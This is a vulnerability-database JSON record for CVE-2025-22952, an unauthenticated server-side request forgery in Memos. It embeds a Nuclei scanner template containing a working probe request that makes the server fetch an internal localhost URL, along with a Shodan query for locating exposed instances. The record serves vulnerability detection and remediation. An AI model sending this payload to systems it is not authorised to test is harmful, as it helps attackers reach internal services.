{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-22952/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-22952/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-22952/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-22952/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-22952/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-22952/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-22952"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-22952"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-22952.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-22952\n\ninfo:\n  name: Elestio Memos <= v0.24.0 - Server-Side Request Forgery\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: critical\n  description: |\n    elestio memos v0.23.0 is vulnerable to Server-Side Request Forgery (SSRF) due to insufficient validation of user-supplied URLs, which can be exploited to perform SSRF attacks.\n  impact: |\n    Unauthenticated attackers can exploit SSRF vulnerabilities to access internal services, bypass network security controls, and potentially retrieve sensitive information from internal systems.\n  remediation: |\n    Upgrade to Memos version 0.24.1 or later that properly validates and restricts URL access.\n  reference:\n    - https://github.com/advisories/GHSA-wfxg-v3j4-7qmj\n    - https://elest.io/open-source/memos\n    - https://github.com/usememos/memos\n    - https://github.com/usememos/memos/issues/4413\n    - https://github.com/usememos/memos/pull/4428\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-22952\n    cwe-id: CWE-918\n    epss-score: 0.02932\n    epss-percentile: 0.87136\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.favicon.hash:-1924700661\n  tags: cve,cve2025,elestio,memos,ssrf,oast,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/markdown/link:metadata?link=http://localhost:13042 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'localhost:13042'\n          - 'connect: connection refused'\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 500\n# digest: 4b0a00483046022100de8ffe71f8c74dd143ec4844a83f06b47cebd71080c8ff921e1e3c16978ab042022100a141eb5e3bc86ac814c514c30def875191cb866009b148be565d8a2bc09a25f3:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-22952"}